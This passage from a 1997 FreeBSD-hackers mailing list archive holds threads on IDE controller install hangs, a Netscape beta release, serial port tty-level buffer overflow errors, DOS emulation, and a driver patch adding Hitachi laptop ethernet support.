1997 14:24:01 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id OAA02311; Sun, 3 Aug 1997 14:21:47 -0700 From: Terry Lambert Message-Id: <199708032121.OAA02311@phaeton.artisoft.com> Subject: Re: Too many open files in System! To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Sun, 3 Aug 1997 14:21:47 -0700 (MST) Cc: fbsdlist@federation.addy.com, edmond@shaman.lycaeum.org, hackers@FreeBSD.ORG In-Reply-To: <3101.870636403@time.cdrom.com> from "Jordan K. Hubbard" at Aug 3, 97 12:26:43 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > You simply need to implement file swapping. Keep a cache of file > descriptors you've opened and implement a simple LRU algorithm to > close those which haven't been used for awhile - in your code which > handles the failure cases for reads/writes, you then add an extra bit > of glue to handle the failure case (e.g. the handle was closed) which > jumps back to the cache code and asks that the file be reopened again > (you'll also need to save the current file position before you close > files, of course, so that you can seek back to where you left off when > you "reinstate" a cache entry). Easy. Except that you can't maintain file locks across an LRU this way, so if you have file locks, you get screwed when they are deasserted at close time. Unfortunately, maintaining the lock list in user space is not a real option either, since your close lets someone else lock something you believe you have locked. Then your application goes to do something with a range it believes it has locked, your open succeeds, but the file lock can not be reasserted transparently (ie: the reassertion must block). Even if your application is expecting to potentially block on an operation where you don't really expect a long time blocking to take place, you are still screwed, since if someone came in, locked, modified, and unlocked, then your application data cache is potentially stale, and you have no notification. Not to mention O_EXCL and whole-file locks. 8-). > (please realize that the above is a parody answer in response to an > intentional goad to get SOMEONE to realize that we don't rise to such > bait :-) Heh. That's OK; my response was parody, too. 8-). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Aug 3 14:31:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA19023 for hackers-outgoing; Sun, 3 Aug 1997 14:31:26 -0700 (PDT) Received: from elvis.mu.org (paul@elvis.mu.org [206.156.231.253]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA19011 for ; Sun, 3 Aug 1997 14:31:18 -0700 (PDT) Received: (from paul@localhost) by elvis.mu.org (4.1/4.1) id QAA29507 for freebsd-hackers@freebsd.org; Sun, 3 Aug 1997 16:31:12 -0500 (CDT) From: Paul Saab Message-Id: <199708032131.QAA29507@elvis.mu.org> Subject: netscape 4.02b7 To: freebsd-hackers@freebsd.org Date: Sun, 3 Aug 1997 16:31:12 -0500 (CDT) X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk FYI I was poking around on netscape ftp servers and I found 4.02b7 released for freebsd. I first got the bsdi1.1 version as the 2.1 version core dumped when using java when it came out 2 days ago, but today I went and I found the freebsd version on the ftp site. Anyway, hit ftp://ftp23.netscape.com//pub/communicator/4.02/4.02b7/english/unix Paul From owner-freebsd-hackers Sun Aug 3 15:01:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA20965 for hackers-outgoing; Sun, 3 Aug 1997 15:01:57 -0700 (PDT) Received: from adam.adonai.net (adam.adonai.net [205.182.92.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA20957 for ; Sun, 3 Aug 1997 15:01:51 -0700 (PDT) Received: from localhost (leec@localhost) by adam.adonai.net (8.8.5/8.7.3) with SMTP id RAA02676 for ; Sun, 3 Aug 1997 17:01:51 -0500 (CDT) Date: Sun, 3 Aug 1997 17:01:51 -0500 (CDT) From: "Lee Crites (AEI)" To: hackers@freebsd.org Subject: FreeBSD on Packard Bell? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I asked about this a while ago and only got one reply from someone who was (politely) questioning the mental state of anyone who would purchase a pb machine. Okay, I was stupid. Now, has anyone put fbsd on a pb? I tried just doing an install, without success. It just hangs at various points (none of the 9 tries hung at the same spot) after all of the setup screens and fs work, while copying blocks of data from the cd. If I can get this box running fbsd, I'm rid of M$! Lee From owner-freebsd-hackers Sun Aug 3 15:33:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA22816 for hackers-outgoing; Sun, 3 Aug 1997 15:33:47 -0700 (PDT) Received: from earth.mat.net (root@earth.mat.net [206.246.122.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id PAA22806 for ; Sun, 3 Aug 1997 15:33:40 -0700 (PDT) Received: from Journey2.mat.net (journey2.mat.net [206.246.122.116]) by earth.mat.net (8.6.12/8.6.12) with SMTP id SAA27819; Sun, 3 Aug 1997 18:33:31 -0400 Date: Sun, 3 Aug 1997 18:33:35 -0400 (EDT) From: Chuck Robey X-Sender: chuckr@Journey2.mat.net To: "Lee Crites (AEI)" cc: hackers@FreeBSD.ORG Subject: Re: FreeBSD on Packard Bell? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 3 Aug 1997, Lee Crites (AEI) wrote: > I asked about this a while ago and only got one reply from someone who > was (politely) questioning the mental state of anyone who would purchase > a pb machine. Okay, I was stupid. Now, has anyone put fbsd on a pb? I > tried just doing an install, without success. It just hangs at various > points (none of the 9 tries hung at the same spot) after all of the > setup screens and fs work, while copying blocks of data from the cd. > > If I can get this box running fbsd, I'm rid of M$! If no one answers this, maybe no one's done it? But if you want help, and you don't give any indications of what problems you're seeing, you really can't be terribly surprised if no one's able to help you. > > Lee > > > ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@eng.umd.edu | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run Journey2 and picnic, both FreeBSD (301) 220-2114 | version 3.0 current -- and great FUN! ----------------------------+----------------------------------------------- From owner-freebsd-hackers Sun Aug 3 15:43:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA23456 for hackers-outgoing; Sun, 3 Aug 1997 15:43:26 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA23433 for ; Sun, 3 Aug 1997 15:43:21 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.6/8.6.9) with ESMTP id PAA04308 for ; Sun, 3 Aug 1997 15:42:59 -0700 (PDT) Prev-Resent: Sun, 03 Aug 1997 15:42:58 -0700 Prev-Resent: "hackers@freebsd.org " Received: from hub.freebsd.org (jkh-sl0-o.cdrom.com [204.216.27.193]) by time.cdrom.com (8.8.6/8.6.9) with ESMTP id OAA04101 for ; Sun, 3 Aug 1997 14:58:11 -0700 (PDT) Received: from scis.acast.nova.edu (scis.acast.nova.edu [137.52.224.15]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id OAA20792 for ; Sun, 3 Aug 1997 14:58:29 -0700 (PDT) Received: by scis.acast.nova.edu (SMI-8.6/SMI-SVR4) id RAA08104; Sun, 3 Aug 1997 17:59:42 -0400 From: goldshtr@scis.acast.nova.edu (Yigal Goldshtrom) Message-Id: <199708032159.RAA08104@scis.acast.nova.edu> Subject: New LAN topology - request for assistance To: jkh@freebsd.org Date: Sun, 3 Aug 1997 17:59:41 -0400 (EDT) Cc: goldshtr@scis.acast.nova.edu (Yigal Goldshtrom) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Resent-To: hackers@freebsd.org Resent-Date: Sun, 03 Aug 1997 15:42:59 -0700 Resent-Message-ID: <4305.870648179@time.cdrom.com> Resent-From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I am a doctoral student for compuer science at NOVA University in Florida and I am looking fo assistance in creating and testing a new topology for LAN. The topology is called: N-dimension Network and it can be superior to Bus and Token ring in terms of packet flow and network capacity. My biggest problem is to actually create the software to run this type of network. It seems to me that FreeBSD is a perfect operating system to build this kind of topology. I am expecting to publish my results and willing to share the publication with another scholar who will help me apply it. I wonder if you can help me hookup with a person who knows the FreeBSD and also knows telecommunications. Regards, Yigal.-- Yigal Goldshtrom goldshtr@scis.nova.edu From owner-freebsd-hackers Sun Aug 3 15:47:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA23770 for hackers-outgoing; Sun, 3 Aug 1997 15:47:35 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA23765 for ; Sun, 3 Aug 1997 15:47:31 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.6/8.6.9) with ESMTP id PAA04343; Sun, 3 Aug 1997 15:47:00 -0700 (PDT) To: Paul Saab cc: freebsd-hackers@FreeBSD.ORG Subject: Re: netscape 4.02b7 In-reply-to: Your message of "Sun, 03 Aug 1997 16:31:12 CDT." <199708032131.QAA29507@elvis.mu.org> Date: Sun, 03 Aug 1997 15:47:00 -0700 Message-ID: <4339.870648420@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I was poking around on netscape ftp servers and I found 4.02b7 > released for freebsd. I first got the bsdi1.1 version as the 2.1 > version core dumped when using java when it came out 2 days ago, > but today I went and I found the freebsd version on the ftp site. > > Anyway, hit > ftp://ftp23.netscape.com//pub/communicator/4.02/4.02b7/english/unix Just to note that it's still in the process of propagating to the other FTP sites, which is why no one had quite announced it yet. :) Once it does make it, someone will undoubtedly create a port for it which takes care of all the installation issues. Thanks also go out to a certain skunk-works project at Netscape who produced this product for FreeBSD! Jordan From owner-freebsd-hackers Sun Aug 3 16:07:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA24701 for hackers-outgoing; Sun, 3 Aug 1997 16:07:24 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id QAA24695 for ; Sun, 3 Aug 1997 16:07:20 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id QAA02728; Sun, 3 Aug 1997 16:06:12 -0700 From: Terry Lambert Message-Id: <199708032306.QAA02728@phaeton.artisoft.com> Subject: Re: FreeBSD on Packard Bell? To: leec@adam.adonai.net (Lee Crites) Date: Sun, 3 Aug 1997 16:06:12 -0700 (MST) Cc: hackers@FreeBSD.ORG In-Reply-To: from "Lee Crites" at Aug 3, 97 05:01:51 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I asked about this a while ago and only got one reply from someone who > was (politely) questioning the mental state of anyone who would purchase > a pb machine. Okay, I was stupid. Now, has anyone put fbsd on a pb? I > tried just doing an install, without success. It just hangs at various > points (none of the 9 tries hung at the same spot) after all of the > setup screens and fs work, while copying blocks of data from the cd. This question really belongs on -questions; however, if you posted it there, you wouldn't have gotten me (a mixed blessing, I'm told). You are likely running a CMD640B or otherwise buggy IDE controller and using the primary for the hard disk and the secondary for the CDROM. If the machine has two IDE controllers, put the CDROM on one and the hard drive on the other. Otherwise, you will need to patch the controller bug in the POST routine, or in BIOS configuration. Intel has a nice set of test programs, plus a patcher that you might be able to use. The typical problem is that an HD write is not waiting while the second channel is busy... if you have an older FreeBSD, the protected mode driver won't work around this (but the BIOS POST patch does). Generally, boards with this problem that have flash BIOS can be updated using an update from the manufacturers WWW page; if the machine is new, not a ware-house sell-out, then you can probably fix the problem in the BIOS settings. I had exactly the same problem with a Micron Home MPC; it had two controllers, but the drives were both on the first controller instead of split between them. Alternately, you could download and run a more "bleeding edge" version of FreeBSD, since the current IDE driver will not issue requests on both channels for a buggy controller chip. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Aug 3 16:31:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA25896 for hackers-outgoing; Sun, 3 Aug 1997 16:31:02 -0700 (PDT) Received: from zephyr.isi.edu (zephyr.isi.edu [128.9.160.160]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id QAA25891 for ; Sun, 3 Aug 1997 16:30:59 -0700 (PDT) Received: from vermouth.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26) id ; Sun, 3 Aug 1997 16:30:55 -0700 Received: from marlis.lunabase.org (localhost [127.0.0.1]) by vermouth.isi.edu (8.8.5/8.8.5) with ESMTP id QAA00649; Sun, 3 Aug 1997 16:33:37 -0700 (PDT) Message-Id: <199708032333.QAA00649@vermouth.isi.edu> X-Mailer: exmh version 2.0gamma 1/27/96 To: freebsd-hackers@freebsd.org Subject: patch to lnc driver for Hitachi Mx laptop X-Url: http://www.isi.edu/~faber Cc: faber@ISI.EDU, faber@lunabase.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 03 Aug 1997 16:33:36 -0700 From: Ted Faber Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In the course of getting FreeBSD 2.2.2-RELEASE up on my Hitachi Mx133 laptop, I had to modify the PCI driver code for the lnc driver in order to use the builtin ethernet port. The changes are adding a new constant and case branch for the chip ID of the lance chip they use (I don't know the part number, but it behaves like an Am79C970 except for the ID) in i386/isa/if_lnc.[ch], changing the pci_conf_read call to a pci_map_port call in pci/if_lnc_p.c (which seems to properly initialize multiple bridge chips where pci_map_conf doesn't) and checking for a different result code from ne2100_probe in the pci attach routine in i386/isa/if_lnc.c to avoid deallocating the controller block. The last is protected by an ifdef using the option HITACHI_MX. The others should have no change on existing code, so I left them unprotected. The patch is included. Let me know what you think. *** pci/if_lnc_p.c.orig Fri Apr 4 08:48:12 1997 --- pci/if_lnc_p.c Sun Aug 3 00:10:24 1997 *************** *** 75,81 **** unsigned iobase; void *lnc; /* device specific data for interrupt handler ... */ ! iobase = pci_conf_read(config_id, PCI_MAP_REG_START) & ~PCI_MAP_IO; lnc = lnc_attach_ne2100_pci(unit, iobase); if (!lnc) --- 75,86 ---- unsigned iobase; void *lnc; /* device specific data for interrupt handler ... */ ! /* pci_map_port correctly initializes bridge chips -- tvf */ ! ! if ( !pci_map_port(config_id,PCI_MAP_REG_START,(u_short *)&iobase) ) ! printf("lnc%d: pci_port_map_attach failed?!\n",unit); ! else ! printf("lnc%d: pci port mapped to %x\n",unit,iobase); lnc = lnc_attach_ne2100_pci(unit, iobase); if (!lnc) *** i386/isa/if_lnc.h.orig Tue Sep 10 01:21:57 1996 --- i386/isa/if_lnc.h Sat Aug 2 23:45:02 1997 *************** *** 69,74 **** --- 69,75 ---- #define Am79C961 0x2260 #define Am79C965 0x2430 #define Am79C970 0x0242 + #define HITACHI_Am79C970 0x2621 /* Board types */ #define UNKNOWN 0 *** i386/isa/if_lnc.c.orig Tue Apr 8 03:59:30 1997 --- i386/isa/if_lnc.c Sun Aug 3 14:59:06 1997 *************** *** 1068,1073 **** --- 1068,1075 ---- * do NOT try to ISA attach the PCI version */ return (0); + case HITACHI_Am79C970: + return (PCnet_PCI); default: break; } *************** *** 1197,1203 **** if (sc) { bzero (sc, sizeof *sc); ! if ((ne2100_probe(sc, iobase) == 0) || (lnc_attach_sc(sc, unit) == 0)) { free(sc, M_DEVBUF); sc = NULL; --- 1199,1209 ---- if (sc) { bzero (sc, sizeof *sc); ! #ifdef HITACHI_MX ! if ((ne2100_probe(sc, iobase) == NE2100_IOSIZE) ! #else ! if ((ne2100_probe(sc, iobase) == 0) ! #endif || (lnc_attach_sc(sc, unit) == 0)) { free(sc, M_DEVBUF); sc = NULL; From owner-freebsd-hackers Sun Aug 3 16:40:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA26358 for hackers-outgoing; Sun, 3 Aug 1997 16:40:42 -0700 (PDT) Received: from hwcn.org (main.hwcn.org [199.212.94.65]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA26344 for ; Sun, 3 Aug 1997 16:40:38 -0700 (PDT) Received: from james.freenet.hamilton.on.ca (ac199@james.hwcn.org [199.212.94.66]) by hwcn.org (8.8.6/8.8.6) with ESMTP id TAA12333; Sun, 3 Aug 1997 19:41:12 -0400 (EDT) Received: from localhost (ac199@localhost) by james.freenet.hamilton.on.ca (8.8.6/8.8.6) with SMTP id TAA16279; Sun, 3 Aug 1997 19:41:27 -0400 (EDT) X-Authentication-Warning: james.freenet.hamilton.on.ca: ac199 owned process doing -bs Date: Sun, 3 Aug 1997 19:41:27 -0400 (EDT) From: Tim Vanderhoek X-Sender: ac199@james.freenet.hamilton.on.ca Reply-To: hoek@hwcn.org To: Frank Creel cc: hackers@FreeBSD.ORG Subject: Re: MS DOS programs running in freebsd In-Reply-To: <33E34BD6.4B76@communique.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, 2 Aug 1997, Frank Creel wrote: > I have heard that there is a group working on a program to run MS dos > programs under freebsd..I would like to work with this group..Can you > aim me me the correct direction??? freebsd-emulation@freebsd.org. The rundos project may have died due to lack of interest, though. :-( -- Outnumbered? Maybe. Outspoken? Never! tIM...HOEk From owner-freebsd-hackers Sun Aug 3 16:42:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA26465 for hackers-outgoing; Sun, 3 Aug 1997 16:42:19 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA26460 for ; Sun, 3 Aug 1997 16:42:16 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id JAA15646; Mon, 4 Aug 1997 09:12:03 +0930 (CST) From: Michael Smith Message-Id: <199708032342.JAA15646@genesis.atrad.adelaide.edu.au> Subject: Re: tty-level buffer overflows In-Reply-To: <19970803112147.21483@crh.cl.msu.edu> from Charles Henrich at "Aug 3, 97 11:21:47 am" To: henrich@crh.cl.msu.edu (Charles Henrich) Date: Mon, 4 Aug 1997 09:12:03 +0930 (CST) Cc: msmith@atrad.adelaide.edu.au, tom@sdf.com, freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Charles Henrich stands accused of saying: > > > > Not in this case, its a 16550A, on a 486/66 doing absolutely nothing > > > except trying to do filetransfer over the serial port with a custom app I > > > wrote.. > > > > And of course if you bothered to read the sio(4) manpage it would tell you > > what the error message means. Or if you'd mentioned that you're using a > > Ooh, arent we high and mighty. I did read the man page, one line that says > "The application is broken" is about as useless as it gets. As my original Actually, the manpage says : sio%d: tty-level buffer overflow. Problem in the application. Input has arrived faster than the given module could process it and some has been lost. I don't know how your problem could be more succinctly described. > > Your application is busted; data is arriving faster than your app is reading > > it, and the kernel has run out of patience and started throwing the data > > away. > > Im afraid not, the application is a software Upload, with a singly byte ack > every 2k, if the serial port cant handle that, theres a problem. I would > presume that if the buffer is full, a write() should block. ... you haven't read the manpage then. It is the receiving side of your application that is at fault, not the transmitting side. -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Sun Aug 3 16:58:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA27348 for hackers-outgoing; Sun, 3 Aug 1997 16:58:41 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA27343 for ; Sun, 3 Aug 1997 16:58:37 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id JAA15941; Mon, 4 Aug 1997 09:27:59 +0930 (CST) From: Michael Smith Message-Id: <199708032357.JAA15941@genesis.atrad.adelaide.edu.au> Subject: Re: tty-level buffer overflows In-Reply-To: <199708031722.SAA19779@awfulhak.org> from Brian Somers at "Aug 3, 97 06:22:34 pm" To: brian@awfulhak.org (Brian Somers) Date: Mon, 4 Aug 1997 09:27:59 +0930 (CST) Cc: henrich@crh.cl.msu.edu, msmith@atrad.adelaide.edu.au, tom@sdf.com, freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Brian Somers stands accused of saying: > > > > Im afraid not, the application is a software Upload, with a singly byte ack > > every 2k, if the serial port cant handle that, theres a problem. I would > > presume that if the buffer is full, a write() should block. > > It's not a case of the serial port handling it. As the OS receives > data from the com port, it buffers it 'till your application does a > read(). If your application isn't read()ing as fast as the data is > arriving, the kernel buffers will fill. When they're full, the sio > driver can't do anything with the incoming data, so it doesn't bother > reading the port. When your app eventually read()s, some buffers are > emptied and the kernel goes off and reads the receive buffer of the > UART. It notices that the overflow bit is set, and emmits the sio > overflow message. This is very wrong. There are three overflow error messages, each described in the sio(4) manpage. They are as follows : 'silo overflow' : The interupt handler has taken too long to respond to an interrupt condition from the UART, and in that time the buffer in the UART has overflowed, causing data to be lost. This is typilcally an indication of seral port overload and/or unacceptable interrupt latency. 'interrupt-level buffer overflow' : There is a problem inside the driver; interrupts are handling data, but then next layer up (run off a timeout) is not forwarding data to the tty level. This overflow should only occur in the most extreme conditions of system abuse. 'tty-level buffer overflow' : The application reading from the serial port is ignoring data, and such an amount has arrived that the tty layer is refusing to accept any more. The sio(4) driver always reads the UART. The kernel doesn't "go off and read the receive buffers in the UART" when the calling application performs a read; input and output are push-driven, not pull-driven. The error you are attempting to describe is the 'silo overflow' message, which is not the error that Charles is seeing. If his comms protocol's ACK is "any" character, or the protocol is tolerant of spurious characters around the ACK, then it might be that the other end of his protocol is emitting receive stats intended for user consumption back down the comms link. If the sending send does not select() on the back channel except when expecting an ACK, these might easily result in an overflow. -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Sun Aug 3 17:28:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA29394 for hackers-outgoing; Sun, 3 Aug 1997 17:28:17 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA29385 for ; Sun, 3 Aug 1997 17:28:09 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id JAA16161; Mon, 4 Aug 1997 09:57:44 +0930 (CST) From: Michael Smith Message-Id: <199708040027.JAA16161@genesis.atrad.adelaide.edu.au> Subject: Re: netscape 4.02b7 In-Reply-To: <4339.870648420@time.cdrom.com> from "Jordan K. Hubbard" at "Aug 3, 97 03:47:00 pm" To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Mon, 4 Aug 1997 09:57:44 +0930 (CST) Cc: paul@mu.org, freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Jordan K. Hubbard stands accused of saying: > > Just to note that it's still in the process of propagating to the > other FTP sites, which is why no one had quite announced it yet. :) So I noticed. Still not on our local mirror... (twiddles thumbs impatiently 8) > Thanks also go out to a certain skunk-works project at Netscape who > produced this product for FreeBSD! Buy those heroes a beer! 8) Now, what I want to hear is right answer to "does it support plugins"? 8) (I expect an indignant response to this...) > Jordan -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Sun Aug 3 17:56:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA01201 for hackers-outgoing; Sun, 3 Aug 1997 17:56:58 -0700 (PDT) Received: from DNS.Lamb.net (root@DNS.Lamb.net [207.90.181.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA01196 for ; Sun, 3 Aug 1997 17:56:56 -0700 (PDT) Received: (from uucp@localhost) by DNS.Lamb.net (8.8.6/8.8.5) id RAA08064; Sun, 3 Aug 1997 17:56:42 -0700 (PDT) Received: from gatekeeper.Alameda.net(207.90.181.2) via SMTP by DNS.Lamb.net, id smtpd008062; Sun Aug 3 17:56:41 1997 Received: (from ulf@localhost) by Gatekeeper.Alameda.net (8.8.6/8.7.6) id RAA13828; Sun, 3 Aug 1997 17:56:37 -0700 (PDT) From: Ulf Zimmermann Message-Id: <199708040056.RAA13828@Gatekeeper.Alameda.net> Subject: Re: patch to lnc driver for Hitachi Mx laptop In-Reply-To: <199708032333.QAA00649@vermouth.isi.edu> from Ted Faber at "Aug 3, 97 04:33:36 pm" To: faber@ISI.EDU (Ted Faber) Date: Sun, 3 Aug 1997 17:56:37 -0700 (PDT) Cc: freebsd-hackers@FreeBSD.ORG, faber@ISI.EDU, faber@lunabase.org X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Could someone provide a boot install disk with this patch ? I have a Hitachi M and would like to try it. The 2.2.2R did not work. > > In the course of getting FreeBSD 2.2.2-RELEASE up on my Hitachi Mx133 > laptop, I had to modify the PCI driver code for the lnc driver in > order to use the builtin ethernet port. The changes are adding a new > constant and case branch for the chip ID of the lance chip they use (I > don't know the part number, but it behaves like an Am79C970 except for > the ID) in i386/isa/if_lnc.[ch], changing the pci_conf_read call to a > pci_map_port call in pci/if_lnc_p.c (which seems to properly > initialize multiple bridge chips where pci_map_conf doesn't) and > checking for a different result code from ne2100_probe in the > pci attach routine in i386/isa/if_lnc.c to avoid deallocating the > controller block. The last is protected by an ifdef using the option > HITACHI_MX. The others should have no change on existing code, so I > left them unprotected. > > The patch is included. Let me know what you think. > > *** pci/if_lnc_p.c.orig Fri Apr 4 08:48:12 1997 > --- pci/if_lnc_p.c Sun Aug 3 00:10:24 1997 > *************** > *** 75,81 **** > unsigned iobase; > void *lnc; /* device specific data for interrupt handler ... */ > > ! iobase = pci_conf_read(config_id, PCI_MAP_REG_START) & ~PCI_MAP_IO; > > lnc = lnc_attach_ne2100_pci(unit, iobase); > if (!lnc) > --- 75,86 ---- > unsigned iobase; > void *lnc; /* device specific data for interrupt handler ... */ > > ! /* pci_map_port correctly initializes bridge chips -- tvf */ > ! > ! if ( !pci_map_port(config_id,PCI_MAP_REG_START,(u_short *)&iobase) ) > ! printf("lnc%d: pci_port_map_attach failed?!\n",unit); > ! else > ! printf("lnc%d: pci port mapped to %x\n",unit,iobase); > > lnc = lnc_attach_ne2100_pci(unit, iobase); > if (!lnc) > *** i386/isa/if_lnc.h.orig Tue Sep 10 01:21:57 1996 > --- i386/isa/if_lnc.h Sat Aug 2 23:45:02 1997 > *************** > *** 69,74 **** > --- 69,75 ---- > #define Am79C961 0x2260 > #define Am79C965 0x2430 > #define Am79C970 0x0242 > + #define HITACHI_Am79C970 0x2621 > > /* Board types */ > #define UNKNOWN 0 > *** i386/isa/if_lnc.c.orig Tue Apr 8 03:59:30 1997 > --- i386/isa/if_lnc.c Sun Aug 3 14:59:06 1997 > *************** > *** 1068,1073 **** > --- 1068,1075 ---- > * do NOT try to ISA attach the PCI version > */ > return (0); > + case HITACHI_Am79C970: > + return (PCnet_PCI); > default: > break; > } > *************** > *** 1197,1203 **** > if (sc) { > bzero (sc, sizeof *sc); > > ! if ((ne2100_probe(sc, iobase) == 0) > || (lnc_attach_sc(sc, unit) == 0)) { > free(sc, M_DEVBUF); > sc = NULL; > --- 1199,1209 ---- > if (sc) { > bzero (sc, 